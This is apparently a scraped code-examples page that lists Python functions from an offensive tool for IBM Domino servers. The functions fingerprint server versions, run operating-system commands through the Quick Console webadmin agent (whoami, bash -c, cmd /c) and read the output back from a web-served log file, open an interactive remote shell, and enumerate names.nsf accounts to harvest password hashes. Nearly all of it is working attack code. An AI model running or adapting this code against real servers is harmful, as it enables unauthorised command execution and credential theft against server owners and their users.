예제 #1
0
	def quick_console(self, command, operator, target, os, path, username, password, session):
		if session is None:
			session = requests.Session()
			session.auth = (username, password)

		if os == 'windows':
			raw_command = "load cmd /c {0} {1}\"{2}\domino\html\download\\filesets\log.txt\"".format(command, operator, path)
		else:
			raw_command = "load /bin/bash -c \"{0} {1}{2}/domino/html/download/filesets/log.txt\"".format(command, operator, path)

		# Quick Console commands must be less than 255 characters
		if len(raw_command) > 255:
			utility.print_warn('Issued command is too long')
		else:
			quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(target, raw_command)
			response_url = "{0}/download/filesets/log.txt".format(target)

			# Send commands and handle cleanup
			send_command = session.get(quick_console_url, headers=utility.get_headers(), verify=False)
			if send_command.status_code == 200:
				get_response = session.get(response_url, headers=utility.get_headers(), verify=False)
				if get_response.status_code == 200 and '>' in operator:
					print(get_response.text)
				elif get_response.status_code == 200 and '>' not in operator:
					utility.print_warn('Unable to delete outfile')
				elif get_response.status_code == 404 and '>' not in operator:
					utility.print_good('Outfile sucessfully deleted')
				else:
					utility.print_warn('Outfile not found')
					do_exit
			else:
				utility.print_warn('Quick Console is unavaliable')
				do_exit
예제 #2
0
def enum_accounts(target, username, password, auth):
	accounts = []
	account_urls = []

	names_url = "{0}/names.nsf".format(target)

	for page in range(1, 100000, 1000):
		pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(target, page)
		try:
			if auth == 'basic':
				access = utility.basic_auth(names_url, username, password)
			elif auth == 'form':
				access, session = utility.form_auth(names_url, username, password)
			else:
				access = None

			if access or auth == 'open':
				if auth == 'basic':
					request = requests.get(pages, headers=utility.get_headers(), auth=(username, password), timeout=60, verify=False)
				elif auth == 'form':
					request = session.get(pages, headers=utility.get_headers(), timeout=60, verify=False)
				else:
					request = requests.get(pages, headers=utility.get_headers(), timeout=60, verify=False)

				soup = BeautifulSoup(request.text, 'lxml')
				empty_page = soup.findAll('h2')
				if empty_page:
					break
				else:
					links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')]
					for link in links:
						account_regex = re.compile('/([a-f0-9]{32}/[a-f0-9]{32})', re.I)
						if account_regex.search(link) and account_regex.search(link).group(1) not in accounts:
							accounts.append(account_regex.search(link).group(1))
						else:
							pass
			else:
				utility.print_warn("Unable to access {0}, bad username or password!".format(names_url))
				break

		except Exception as error:
			utility.print_error("Error: {0}".format(error))
			break

	if len(accounts) > 0:
		if len(accounts) == 1:
			plural = ''
		else:
			plural = 's'
		utility.print_good("Found {0} account{1}".format(len(accounts), plural))

		for unid in accounts:
			account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(target, unid))

		async_requests(account_urls, username, password)
	else:
		utility.print_warn('No hashes found!')
예제 #3
0
def test_command(target, os, path, username, password, session):
	if session is None:
		session = requests.Session()
		session.auth = (username, password)

	whoami, local_path, hostname = None, None, None

	# Windows default Domino data paths
	if os == 'windows':
		paths = [
			'C:\Program Files\IBM\Domino\data',                 # 9.0.1 Windows x64
			'C:\Program Files\IBM\Lotus\Domino\data',           # 8.5.3 Windows x64
			'C:\Program Files (x86)\IBM\Domino\data',           # 9.0.1 Windows x86
			'C:\Program Files (x86)\IBM\Lotus\Domino\data',     # 8.5.3 Windows x86
			'C:\Lotus\Domino\data'                              # Unknown
		]

	# Linux default Domino data path
	else:
		paths = ['/local/notesdata']                            # 9.0.1 Ubuntu x32

	if path and path.replace('\\\\', '\\') not in paths:
		paths.insert(0, path.replace('\\\\', '\\'))

	for local_path in paths:
		try:
			if os == 'windows':
				raw_command = "load cmd /c whoami > \"{0}\domino\html\download\\filesets\log.txt\"".format(local_path)
			else:
				raw_command = "load /bin/bash -c \"echo $USER:$HOSTNAME > {0}/domino/html/download/filesets/log.txt\"".format(local_path)

			quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(target, raw_command)
			response_url = "{0}/download/filesets/log.txt".format(target)

			# Do things...
			send_command = session.get(quick_console_url, headers=utility.get_headers(), verify=False)
			if send_command.status_code == 200:
				get_response = session.get(response_url, headers=utility.get_headers(), verify=False)
				if get_response.status_code == 200:
					if os == 'windows':
						user_regex = re.compile('.+\\\\(.+)')
					else:
						user_regex = re.compile('([a-z0-9-_].+):(.+)', re.I)
						hostname = user_regex.search(get_response.text).group(2)

					if user_regex.search(get_response.text).group(1):
						whoami = user_regex.search(get_response.text).group(1)
						utility.print_good("Running as {0}".format(whoami))
						break

		except Exception as error:
			continue

	return whoami, local_path, hostname
예제 #4
0
def check_access(target, username, password, auth):
	webadmin_url = "{0}/webadmin.nsf".format(target)
	try:
		# Check access
		if auth == 'basic':
			access = utility.basic_auth(webadmin_url, username, password)
			session = None
		elif auth == 'form':
			access, session = utility.form_auth(webadmin_url, username, password)
		else:
			session = None

		# Get local file path
		path_url = "{0}/webadmin.nsf/fmpgHomepage?ReadForm".format(target)
		if access or auth == 'open':
			if auth == 'basic':
				check_path = requests.get(path_url, headers=utility.get_headers(), auth=(username, password), verify=False)
			elif auth == 'form':
				check_path = session.get(path_url, headers=utility.get_headers(), verify=False)
			else:
				check_path = requests.get(path_url, headers=utility.get_headers(), verify=False)

			path_regex = re.compile("DataDirectory\s*=\s*'(.+)';", re.I)
			if path_regex.search(check_path.text):
				local_path = path_regex.search(check_path.text).group(1)
			else:
				local_path = None
				utility.print_warn('Could not identify Domino file path')

			# Get operating system
			if 'UNIX' in check_path.text:
				os = 'linux'
			elif 'Windows' in check_path.text:
				os = 'windows'
			else:
				os = 'windows'
				utility.print_warn('Could not identify Domino operating system')

			# Test writing to local file system
			whoami, path, hostname = test_command(target, os, local_path, username, password, session)
			if whoami and path:
				Interactive(target, os, path, username, password, whoami, hostname, session).cmdloop()
			else:
				utility.print_warn('Unable to access webadmin.nsf')

		else:
			utility.print_warn("Unable to access {0}, might not be an admin".format(webadmin_url))

	except Exception as error:
		utility.print_error("Error: {0}".format(error))
예제 #5
0
def fingerprint(target, username, password, auth):
	domino_version = None

	version_files = ['download/filesets/l_LOTUS_SCRIPT.inf', 
			'download/filesets/n_LOTUS_SCRIPT.inf',
			'download/filesets/l_SEARCH.inf',
			'download/filesets/n_SEARCH.inf',
			'api',
			'homepage.nsf',
			'help/readme.nsf'
		]

	for version_file in version_files:
		try:
			version_url = "{0}/{1}".format(target, version_file)
			request = requests.get(version_url, headers=utility.get_headers(), timeout=5, allow_redirects=False, verify=False)
			if request.status_code == 200:
				version_regex = re.compile('(version=|version\":\"|domino administrator |domino |release )([0-9.]{1,7})(\s|\")', re.I)
				if version_regex.search(request.text):
					domino_version = version_regex.search(request.text).group(2)
					break
		except Exception as error:
			utility.print_error("Error: {0}".format(error))
			continue

	if domino_version:
		utility.print_good("Domino version: {0}".format(domino_version))
	else:
		utility.print_warn('Unable to fingerprint Domino version!')

	check_portals(target, username, password, auth)
예제 #6
0
def async_requests(accounts, username, password):
	requests = Requests(concurrent=40)
	requests.session.headers = utility.get_headers()
	requests.session.auth = (username, password)
	requests.session.verify = False

	try:
		for account_url in requests.swarm(accounts, maintainOrder=False):	
			if account_url.status_code == 200:
				get_domino_hash(account_url)

	except KeyboardInterrupt:
		requests.stop(killExecuting=True)
예제 #7
0
def async_requests(accounts, username, password):
    requests = Requests(concurrent=40)
    requests.session.headers = utility.get_headers()
    requests.session.auth = (username, password)
    requests.session.verify = False

    try:
        for account_url in requests.swarm(accounts, maintainOrder=False):
            if account_url.status_code == 200:
                get_domino_hash(account_url)

    except KeyboardInterrupt:
        requests.stop(killExecuting=True)
예제 #8
0
def enum_accounts(target, username, password, auth):
    accounts = []
    account_urls = []

    names_url = "{0}/names.nsf".format(target)

    for page in range(1, 100000, 1000):
        pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(
            target, page)
        try:
            if auth == 'basic':
                access = utility.basic_auth(names_url, username, password)
            elif auth == 'form':
                access, session = utility.form_auth(names_url, username,
                                                    password)
            else:
                access = None

            if access or auth == 'open':
                if auth == 'basic':
                    request = requests.get(pages,
                                           headers=utility.get_headers(),
                                           auth=(username, password),
                                           timeout=60,
                                           verify=False)
                elif auth == 'form':
                    request = session.get(pages,
                                          headers=utility.get_headers(),
                                          timeout=60,
                                          verify=False)
                else:
                    request = requests.get(pages,
                                           headers=utility.get_headers(),
                                           timeout=60,
                                           verify=False)

                soup = BeautifulSoup(request.text, 'lxml')

                # Break if page not found
                if 'No documents found' in soup.findAll('h2'):
                    break
                else:
                    links = [
                        a.attrs.get('href')
                        for a in soup.select('a[href^=/names.nsf/]')
                    ]
                    for link in links:
                        account_regex = re.compile(
                            '/([a-f0-9]{32}/[a-f0-9]{32})', re.I)
                        if account_regex.search(link) and account_regex.search(
                                link).group(1) not in accounts:
                            accounts.append(
                                account_regex.search(link).group(1))
                        else:
                            pass
            else:
                utility.print_warn(
                    "Unable to access {0}, bad username or password".format(
                        names_url))
                break

        except Exception as error:
            utility.print_error("Error: {0}".format(error))
            break

    if len(accounts) > 0:
        if len(accounts) == 1:
            plural = ''
        else:
            plural = 's'

        utility.print_good("Found {0} account{1}".format(
            len(accounts), plural))

        for unid in accounts:
            account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(
                target, unid))

        async_requests(account_urls, username, password)
    else:
        utility.print_warn('No hashes found')